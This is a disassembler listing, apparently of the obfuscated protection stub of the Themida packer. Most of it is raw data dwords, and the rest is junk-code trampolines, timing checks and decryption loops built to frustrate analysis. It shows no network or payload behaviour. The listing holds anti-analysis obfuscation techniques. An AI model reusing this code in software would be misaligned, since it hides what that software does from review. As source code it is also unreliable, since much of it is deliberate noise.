		dd 0C4868906h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 3168C351h, 0BF74BEDDh
		dd 153A0B7Ch, 0A850Fh, 880F0000h, 4, 0A248BF66h, 8BFEBF0Fh
		dd 0B174D95h, 0C283FC06h, 0AC78104h, 894728FDh,	0DF812050h
		dd 4B3EE618h, 21F19D8Bh, 858D060Bh, 60EBAEEh, 12D59531h
		dd 8689060Bh, 0B8h, 5F59D2Bh, 6A060Bh, 2DF19D33h, 0FFFC060Bh
		dd 0EA81DB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 7ABAF0F3h, 0FF5A5CE5h, 0B0F1595h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 0A9D0DD9Bh, 467D8C7Bh, 2DFDBD8Bh, 6096060Bh
		dd 841705BBh, 0FDBA6672h, 605061E7h, 13E8h, 0E5424400h
		dd 7DA2DBD4h, 9A04BF8Ch, 6C7455D3h, 0E27F3F1h, 605F5950h
		dd 5E9h, 60289700h, 61614531h, 0DD9D8996h, 0FF060B21h
		dd 0EA81DB5h
		dd 0F595FF06h, 89060B00h, 0B1BB18Dh, 91BD8306h,	60B21h
		dd 15840Fh, 51BF0000h, 965FE0A9h, 50F88B66h, 5ADEBF66h
		dd 0F1950996h, 0FF060B15h, 0EA81DB5h, 60526006h, 0B70F5B61h
		dd 95FF61C9h, 60B1281h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 0FFC35343h, 13A9BD8Bh, 0B5FF060Bh, 60EA81Dh
		dd 68D0Fh, 0B5890000h, 60B035Dh, 0B8D95FFh, 6A060Bh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0EA5320C3h, 0FA9B049h, 5B52D8B7h, 17F1BD83h,	0F02060Bh
		dd 1384h, 0FB8B6600h, 2EC5858Bh, 8589060Bh, 60B1651h, 0F50000C6h
		dd 6B985C7h, 60Bh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 0E8836DC3h, 0Dh, 0C84C7151h
		dd 8BD08FDDh, 635F0B1Fh, 0CE99Dh, 6D4D0000h, 0E4EA94D7h
		dd 0BFCFE7Ch, 535B43BAh, 5BF9B70Fh, 0FFF476E9h,	55006AFFh
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 74DA96EAh, 6AC18BBBh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 9AE2C351h, 0B523DE81h
		dd 0D4622899h, 38C0Fh, 8B660000h, 0A9858DDAh, 6A060B28h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 6FB5C357h, 9D0989F4h, 60B2D7Dh, 6800Fh, 9D8B0000h
		dd 60B1349h, 9E990h, 0F8DE0000h, 6D46C620h, 503C4022h
		dd 5E9h, 0BDBBD100h, 6A902004h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 9DEEC356h, 0B6C03AECh
		dd 1FD93B6Ch, 2B71BD29h, 6A060Bh, 0F88B6653h, 89006A5Fh
		dd 0B042995h, 0CD9D8906h, 8D060B02h, 0F806285h,	0D1B58906h
		dd 89060B32h, 0B2F5D8Dh, 5C08306h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 0D0C35242h,	45B376C6h, 8B525090h
		dd 53310FD8h, 7444BF66h, 50585A5Bh, 12E852h, 0E7E90000h
		dd 6016DEAAh, 2598F61Fh, 0D3C151F8h, 6EBE774Ah,	0BE8h
		dd 9A45E00h, 44285BC1h,	23522044h, 905B5F5Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 38C35141h, 0D58D0110h
		dd 6A060B0Eh, 14E900h, 0DCC90000h, 0A0343A48h, 8A9118F4h
		dd 5340DF94h, 22E85F0Ah, 6A866Dh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 0A7C35141h,	3C607D6Eh, 0D38E80F3h
		dd 2F2195FFh, 11E9060Bh, 6F000000h, 0D00935F5h,	8C6D2025h
		dd 5D09780Fh, 87C59BF5h, 0A7B08D8Dh, 6A060Eh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 9D8BCDC3h
		dd 60B1F5Dh, 6AD1FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 2E90FDC3h, 0C1FFC738h, 10E9h, 0A6ECA900h
		dd 0DB6A3ADEh, 64323F68h, 3D55524Ah, 19BD83FCh,	1060B0Bh
		dd 4C850Fh, 0F520000h, 686h, 8F0F00h, 5B000000h, 50FC026Ah
		dd 489DF8Bh, 53006A24h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 95FFEE55h, 60B0F15h, 0DE9h, 920CAC00h
		dd 0FA59CEDEh, 0CF7711F1h, 12E99983h, 0E800000Eh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 60F806Ch
		push	0
		push	esi
		call	sub_584122
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_584122	proc near		; CODE XREF: Themida_:0058411Ap

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_584122	endp

; ---------------------------------------------------------------------------
		inc	esi
		push	552200E0h
		push	0
		push	edx
		call	sub_584143
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_584143	proc near		; CODE XREF: Themida_:0058413Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_584143	endp

; ---------------------------------------------------------------------------
		and	[eax+1Fh], dh
		xchg	al, [ebx-52h]
		sbb	[ebp+0E929385h], cl
		push	es
		push	0
		push	esi
		call	sub_58416B
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58416B	proc near		; CODE XREF: Themida_:00584163p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_58416B	endp

; ---------------------------------------------------------------------------
		db 6Dh
; ---------------------------------------------------------------------------
		xchg	eax, esp
		test	al, 29h
		adc	ch, [edx]
		mov	word ptr [edx-23h], es
		mov	ebx, 7E13064Ah
		push	eax
		push	edi
		jmp	loc_58419F
; ---------------------------------------------------------------------------
		dd 0BED1DDE2h, 7A65A380h, 0A37A3086h
; ---------------------------------------------------------------------------
		cmpsd
		das
		icebp


loc_58419F:				; CODE XREF: Themida_:0058418Bj
		pop	edi
		mov	[esp], eax
		push	0
		push	edi
		call	sub_5841AE
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5841AE	proc near		; CODE XREF: Themida_:005841A6p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_5841AE	endp

; ---------------------------------------------------------------------------
		dw 2241h
		dd 1F9F280Ch, 0FF64633Fh, 35h, 88A0F00h, 56000000h, 29618D89h
		dd 645F060Bh, 2589h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 5C9FEFC3h, 6D85FF14h
		dd 0E9060B06h, 12h, 758173A1h, 0F2349CE6h, 0AA8CF211h
		dd 0FD2CC835h, 0FF6AF9F8h, 12E9h, 9E29BC00h, 8D18C0BCh
		dd 0B61883C0h, 0CF15AFB4h, 8B464BB1h, 5B5FFDAh,	89060B27h
		dd 0B18D19Dh, 1195FF06h, 0E9060B24h, 0F9h, 19F5BD8Bh, 0B0060Bh
		dd 10E9h, 0BE45700h, 7E036562h,	0A567216Bh, 2FC6EBDFh
		dd 0F70E6A6h, 68Dh, 0BB665700h,	0E45B59F9h, 0FEBF6671h
		dd 0F613CDEh, 0C083h, 0B60FF900h, 0FEB70FC8h, 0F275F781h
		dd 6BA594Eh, 8B000000h,	0ADEF80C1h, 6604E8C1h, 0E0D6EF81h
		dd 2BE2F766h, 8BDE8BC8h, 29FBBFD1h, 4E94340h, 66000000h
		dd 8B0858BBh, 0B2A1D85h, 7C08306h, 39858960h, 29060B18h
		dd 0B0B8195h, 0BD896106h, 60B1F71h, 3B00C083h, 20830FD0h
		dd 0F000000h, 5AE9F8B7h, 0E9000000h, 11h, 0CD2F135Ah, 11AC9B96h
		dd 0F8D8CB24h, 1DDDF60Ah, 8BDA8B88h, 0B00A18Dh,	89BD8B06h
		dd 8B060B1Fh, 0B2E1DBDh, 1E18306h, 27840Fh, 8F0F0000h
		dd 3, 83DF8B66h, 0B00A1A5h, 0BD89FE06h,	60B3169h, 2A1D9589h
		dd 9D8B060Bh, 60B04A9h,	0E9h, 3CB58D00h, 6A060EF7h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 50B99139h, 0A0FB47C2h, 816618B5h, 0FF5A71C7h, 0B32DD95h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0A2B96A55h, 0F000007h, 28Eh, 83E9B300h
		dd 6AFCE1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 862A2CC3h, 5E860h, 4A150000h, 66486519h
		dd 2F36C381h, 6AFC5Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 614CD8C3h, 6D9D33EBh, 0B8060B0Bh
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_584413
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_584413	proc near		; CODE XREF: Themida_:0058440Bp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_584413	endp

; ---------------------------------------------------------------------------
		retn	1A8Ch
; ---------------------------------------------------------------------------
		fdiv	qword ptr [ebx]
		jnz	short loc_58446A
		mov	[ebx], ebp
		shr	byte ptr [edx+0], cl
		push	ebp
		call	sub_584438
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_584438	proc near		; CODE XREF: Themida_:00584430p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_584438	endp

; ---------------------------------------------------------------------------
		sub	dh, [ecx-9]
		cld
		jle	$+6
		and	edi, [ebp+60B30E5h]


loc_584458:				; CODE XREF: Themida_:00584462j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_584458
		jz	loc_584470


loc_58446A:				; CODE XREF: Themida_:00584428j
		mov	ebx, [ebp+60B3355h]


loc_584470:				; CODE XREF: Themida_:00584464j
		jb	loc_584482
		jg	loc_584482
		jl	$+6		; CODE XREF: Themida_:0058448Fj


loc_584482:				; CODE XREF: Themida_:loc_584470j
					; Themida_:00584476j
		or	eax, 88h
		pusha
		call	sub_58449B
		push	es
		daa
		jmp	short near ptr loc_58447C+3
; ---------------------------------------------------------------------------
		db 2Fh,	3Eh, 7
		dd 84BBB29Eh
		db 40h,	4Eh, 0B4h

; =============== S U B	R O U T	I N E =======================================



sub_58449B	proc near		; CODE XREF: Themida_:00584488p
		xor	[ebp+60B1239h],	eax
		pop	esi
		mov	ebx, [ebp+60B0C35h]
		popa
		mov	edi, [ebp+60B18DDh]
		mov	edx, [ebp+60B174Dh]
		add	[ebp+60B2265h],	ebx
		mov	[ebp+60B2F51h],	ebx
		mov	ecx, [ebp+60B0119h]
		push	0
		push	edx
		call	sub_5844D2
		and	[edx-3Dh], bl
sub_58449B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5844D2	proc near		; CODE XREF: sub_58449B+2Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5844D2	endp

; ---------------------------------------------------------------------------
		dw 9CFh
; ---------------------------------------------------------------------------
		retf	0F93h
; ---------------------------------------------------------------------------
		db 8Ch
		dd 6, 32EDBD33h, 8D89060Bh, 60B01B9h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 9D8B5818h, 60B333Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 5CC35747h, 84B2F11Dh
		dd 0BD838F19h, 60B29BDh, 5A840F00h, 8B000000h, 0B1B01BDh
		dd 0B806h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 0BD8BC2C3h, 60B2E91h, 4DD78D8Dh
		dd 0BB66060Bh, 0E1FF8296h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 66C35646h, 992FBDBFh,	9BD8379h, 60B10h
		dd 489840Fh, 0BF0F0000h, 9BD83DFh, 1060B10h, 494840Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 0B3012BC3h, 11E95Eh, 3AD90000h, 1B84A42Bh
		dd 7A5A9D64h, 0B0F6E785h, 0BBAE92BCh, 47D0DC20h, 1009BD83h
		dd 0F03060Bh, 41786h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 581C2B32h, 8F71D240h
		dd 0E1BD89C4h, 60060B2Eh, 4840Fh, 0BB660000h, 8C663381h
		dd 55006AD9h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 0A9F6FE36h, 0AE81F11h, 0C000000h, 7F3D16A5h
		dd 0E93F6596h, 805BFCF1h, 8C0F04E1h, 0
; ---------------------------------------------------------------------------
		or	cl, cl
		jz	loc_5847D3
		push	0
		push	edx
		call	sub_584683
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_584683	proc near		; CODE XREF: Themida_:0058467Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_584683	endp

; ---------------------------------------------------------------------------
		xchg	eax, esp
		sahf
		stc
		mov	eax, [ebp+60B317Dh]
		push	0
		push	ecx
		call	sub_5846A7
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5846A7	proc near		; CODE XREF: Themida_:0058469Fp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5846A7	endp

; ---------------------------------------------------------------------------
		db 0AFh
		dd 88BE09ABh, 6E99174h,	3F000000h, 0CB050145h, 0ED85339Bh
		dd 6A060B06h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 0F20DC356h, 0EC3974D0h, 0BD8BF616h
		dd 60B2A59h, 0D98D2960h, 0E8060B04h, 0Bh, 93286029h, 5C26A84Bh
		dd 0BBD7C1EDh, 14C420C4h, 6650615Eh, 505FDF8Bh,	28D0F51h
		dd 51000000h, 4895B5Fh,	859D0924h, 6A060B13h, 0C99D2900h
		dd 68060B29h, 615945E0h, 52506051h, 585A310Fh, 0EE7BBE66h
		dd 34815F61h, 46461F24h, 6870F61h, 8B000000h, 0B1AD59Dh
		dd 0D195FF06h, 6A060B03h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 388AC357h, 0F947AE3h
		dd 0A81D8589h, 0EE8060Eh, 60000000h, 1E565F98h,	8A12C9BDh
		dd 75FF9BD7h, 9BD3374h,	5B060B04h, 0EE8h, 35C1DB00h, 0E8D59C3Dh
		dd 0F464878h, 814C4012h, 0DFB5EDFh, 0C7E95F58h,	0E9000001h
		dd 0Bh,	0E0171F47h, 0DAD586D9h
		db 2 dup(0F1h),	0DEh
; ---------------------------------------------------------------------------


loc_5847D3:				; CODE XREF: Themida_:00584672j
		mov	eax, [ebp+60EA815h]
		or	[ebp+60B2E91h],	eax
		movsx	ebx, dx
		mov	dword ptr [eax], 18h
		push	0
		push	eax
		call	sub_5847F3
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5847F3	proc near		; CODE XREF: Themida_:005847EBp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5847F3	endp

; ---------------------------------------------------------------------------
		db 0F8h
		dd 0A8E169E1h, 297497ECh, 0B0F3D9Dh, 0B58BF906h, 60EA819h
		dd 0DA8B6660h, 1870Fh, 61FC0000h, 6E1858Bh, 6A060Bh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0E92C54C3h, 497C45D0h, 9D8BF842h, 60B06B5h, 0BF0F0689h
		dd 7D858BFBh, 81060B31h, 87800AD7h, 446894Ch, 68D0Fh, 0BD8B0000h
		dd 60B05B1h, 32CD8589h,	8A96060Bh, 0F3BB50DEh, 9603226Fh
		dd 0B5FFF98Bh, 60EA815h, 0FE9h,	0BABDA900h, 1F202785h
		dd 0C295F1B6h, 4AFBE19Ah, 4E8FCh, 3FF0000h, 11E8001Fh
		dd 74000000h, 0C42A9AC5h, 0A2B65E68h, 0D80880Ah, 0F3771587h
		dd 61605250h, 9E9310Fh,	7F000000h, 0DA42A367h, 4CBA2A78h
		dd 505F585Ah, 0BBF5250h, 0F1BA377h, 8B585A31h, 0BF042444h
		dd 73A7C68Eh, 0C9BF008Bh, 892DD4D5h, 58042444h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0B9C35141h, 858DA033h
		dd 60EA81Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	0F7C35242h, 1C3C3B21h, 0C95FB17Bh, 0DDD9D8Bh, 6090060Bh
		dd 66616060h, 0B161D88Bh, 5050618Bh, 0BF310F52h, 8B44585h
		dd 6A90585Ah, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 0E04BC356h, 95FF31CDh,	60B03D1h
		dd 322D9589h, 2961060Bh, 0B0E3DBDh, 985C706h, 3060B10h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0A787C351h, 14354EC3h,	157B8026h
		dd 11E8h, 84321F00h, 0DE707999h, 4ECDD7DCh, 98C45ADFh
		dd 9D8BCE73h, 60B31B1h,	1DBD835Fh, 60EA8h, 2A840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0F78064C3h, 21E903h,	0D7810000h, 740900E3h, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 81BDC356h, 23F73E9Fh, 5E95Ch, 0A69B0000h, 3DE0E43h
		dd 0B03B9BDh, 0CBF6606h, 9BD83C6h, 3060B10h, 456850Fh
		dd 820F0000h, 6, 0BA19D31h, 0BD83060Bh,	60EA81Dh, 3D840F00h
		dd 0FF000004h, 0EA81DB5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 1188453h, 12F6BF62h
		dd 7E82407h, 50000000h,	0F2A5B0F5h, 295B3B38h, 0B03258Dh
		dd 3D95FF06h, 52060B08h, 6E8h, 0B5F87900h, 0E90897E0h
		dd 14h,	0C6F109F4h, 3984D245h, 94E918DCh, 44DC25B4h, 35F156F8h
		dd 0B58B5B5Bh, 60EA811h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 34C35747h, 0A2986D74h, 0C3D1A80Ch, 8C0Fh
		dd 6C70000h, 10001h, 12F98509h,	0E996060Bh, 8, 88F76D6Dh
		dd 0E7A81267h, 11E950h,	1A30000h, 0F42AAAFBh, 0E0C0341Ah
		dd 47351328h, 9632B124h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 2CC35545h, 179745CDh,	12E9E028h, 51000000h
		dd 84AFBDBCh, 0FEB712C4h, 0D618A385h, 0D11746A0h, 1DB5FF30h
		dd 6A060EA8h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 0C101C355h, 0EB80DE3h,	7BDD9CC5h
		dd 2AAD9D8Bh, 0E953060Bh, 7, 0D0ADED90h, 5F120319h, 64195FFh
		dd 0BD03060Bh, 60B20DDh, 0BE9h,	373D1E00h, 36307222h, 1D3064Dh
		dd 0A811B58Bh, 858B060Eh, 60B121Dh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 75C35747h, 1800B63Ch, 0D129D9CDh
		dd 28A0F52h, 8B000000h,	1BE781FAh, 8B096D05h, 0C48689F9h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 1894C355h, 0D6D36D31h,	174D958Bh
		dd 9D89060Bh, 60B014Dh,	6A04C283h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 38A7C353h
		dd 3B931896h, 89D37B16h, 6A2050h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 538E00C3h, 8DF98B66h
		dd 0EBAEE85h, 0DFB70F06h, 14E8h, 716AF00h, 37C39EE6h, 0CF444D8h
		dd 413722DAh, 0D15AFA28h, 8D9D03FDh, 5B060B08h,	0B88689h
		dd 8D090000h, 60B2219h,	0BF66006Ah, 7E86EC8h, 8C000000h
		dd 0DD17F20Ah, 0BF0FA7F4h, 0B5FF5FDBh, 60EA81Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 33C35040h, 0B02BB609h
		dd 6800Fh, 0BD890000h, 60B01E1h, 0F1595FFh, 8529060Bh
		dd 60B29EDh, 1860Fh, 96F90000h,	796B63BFh, 52505077h, 928BC9BFh
		dd 0E9310F12h, 13h, 0F586F9A4h,	1399396h, 269065B1h, 0B9A0C34h
		dd 5A35E808h, 95319658h, 60B0405h, 2EE78166h, 1DB5FFF2h
		dd 6A060EA8h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0C8D9C355h, 702BF620h,	259D8BB0h
		dd 0FF060B04h, 0B00F595h, 6800F06h, 8B000000h, 0B24259Dh
		dd 0F1BD8B06h, 83060B05h, 0B2191BDh, 840F0006h,	65h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0C7C35141h, 66C5E8B8h
		dd 5050D98Bh, 0DE952h, 0E46D0000h, 93F72E69h, 6597B388h
		dd 0F439E66h, 89585A31h, 6A2434h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 0C3BE12C3h, 8B9C7597h
		dd 0B0D159Dh, 1DB5FF06h, 56060EA8h, 5618531h, 0FF5F060Bh
		dd 0B128195h, 0CF816606h, 8B66E807h, 1DB5FFDFh,	0FF060EA8h
		dd 0B0B8D95h, 1860F06h,	0F9000000h, 3331BD89h, 0BD83060Bh
		dd 60B17F1h, 4D840F02h,	0E9000000h, 6, 0FF21241h, 858B320Eh
		dd 60B2EC5h, 0B840Fh, 6E90000h,	0BD000000h, 3A53F022h
		dd 0C68Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ah,	15C35040h, 866F578Ch, 0BD8BDB13h, 60B0E49h, 6B985C7h
		dd 60Bh, 0BD8B0000h, 60B0D39h, 0FFF319E9h, 5E9FFh, 6BD30000h
		dd 8B10DFE4h, 68E0FC1h,	8B000000h, 0B0EF9BDh, 0A9858D06h
		dd 0F060B28h, 8B50FEB7h, 240489FEh, 8959D31h, 6A060Bh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h
; ---------------------------------------------------------------------------
		inc	ecx
		push	ecx
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		db 93h
		dd 830F6233h, 2, 6ADE8Bh, 4F79BF66h, 9045858Dh,	6A060Fh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 313E51C3h, 663329DBh, 0F0F8BBBh, 0C083DAB7h,	53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 46E7CF4h, 0FC7B2A9Bh, 24048950h, 13E9h, 894D8B00h, 736DD12Ah
		dd 2445480Dh, 9E241E3Fh, 35C364B1h, 6A006Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 96B2FBC3h
		dd 4FD11C72h, 0FC2B28Fh, 686h, 89BD2B00h, 8B060B0Bh, 6A006AF9h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 12DCC357h, 95FF605Fh, 60B2F21h, 0B08D8DF8h
		dd 6A060EA7h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 0EA45C357h, 0C4EA742Bh, 68B0FA8h
		dd 8B000000h, 0B0EE99Dh, 0FD1FF06h, 683h, 0F5BD8B00h, 83060B03h
		dd 0B0B19BDh, 850F0106h, 6Dh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 0C5C35646h,	5101D935h, 0EF4B28C8h
		dd 8B66F51Bh, 0F026ADAh, 118Fh,	0CE900h, 0A2F70000h, 59E36D41h
		dd 2E0ED305h, 0E99069CEh, 12h, 0FCCB6827h, 0F848FAC6h
		dd 0A2D0B01Ah, 69CC6ED4h, 6650D8E6h, 8A90DE8Bh,	1595FFDEh
		dd 89060B0Fh, 0B04A595h, 0EA4E906h, 0E80000h, 5D000000h
		dd 904FED81h, 6A060Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 0B52961C3h, 60B0E9Dh, 30F19D8Bh
		dd 0B70F060Bh, 93858DDBh, 6A060E92h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 29A7C351h
		dd 0B0E65B5h, 8E0F5006h, 17h, 0FE850h, 0E00A0000h, 0A0B04A92h
		dd 4DC1C350h, 0BDE674D7h, 895F5B41h, 6A2404h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 2ECB22C3h
		dd 8E4FEA81h, 1A359D8Bh, 0FF64060Bh, 35h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 8B4016FEh, 0B005DBDh, 649CB306h, 2589h, 0BF660000h
		dd 85FF2432h, 60B066Dh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 0EFC35343h, 0B27A6978h, 23E2E81Fh, 1805BD8Bh
		dd 0FF6A060Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	0F0C35343h, 23268951h, 295015FDh, 0B30F1B5h, 0B5FF5F06h
		dd 60B1AA9h, 16F38166h,	0F1BD8BD4h, 0FF060B0Eh,	0B241195h
		dd 120E906h, 0E3800000h, 0E600B007h, 48D38170h,	0E45EFECFh
		dd 0F0BF6671h, 0F613C10h, 10583h, 0F9BD2300h, 8B060B13h
		dd 0B12C59Dh, 0C8B60F06h, 128DBD31h, 6BA060Bh, 0F000000h
		dd 68Fh, 259D2900h, 8B060B21h, 6850FC1h, 9000000h, 0B0E4DBDh
		dd 4E8C106h, 8BBDB760h,	0B17CD95h, 81666106h, 668B54D7h
		dd 8D29E2F7h, 60B207Dh,	9D8BC82Bh, 60B0069h, 99BBD18Bh
		dd 0E91281DBh, 18h, 0EE9h, 8C7CB200h, 0B3B9F20Ch, 81F60676h
		dd 667C02E2h, 20B5DF81h, 2139858Bh, 9D31060Bh, 60B21F1h
		dd 3107C083h, 0B26C58Dh, 0C08306h, 603F3DBFh, 0FD03B00h
		dd 2083h, 7DB58900h, 0E9060B08h, 5Ah, 0AE9h, 14C3F500h
		dd 5AE5F044h, 89EF7132h, 0B1B01B5h, 0E98D8B06h,	80060B13h
		dd 0E18348D3h, 33840F01h, 0BB000000h, 22F0B610h, 13E9A583h
		dd 0E8FE060Bh, 0Ah, 7276F71Bh, 657D653Ch, 9D23E094h, 60B02A1h
		dd 3995895Fh, 81060B21h, 18C5A4D7h, 0E94Fh, 0B58D0000h
		dd 60F00DBh, 59DBD8Bh, 0B589060Bh, 60B0BA5h, 6A006Ah, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0A6573C3h, 426ABBD1h, 0FFF9779Ch, 0B32DD95h,	0B5BD8906h
		dd 0B9060B31h, 8E6h, 9E9h, 52593600h, 0EF095A82h, 2DBB1F29h
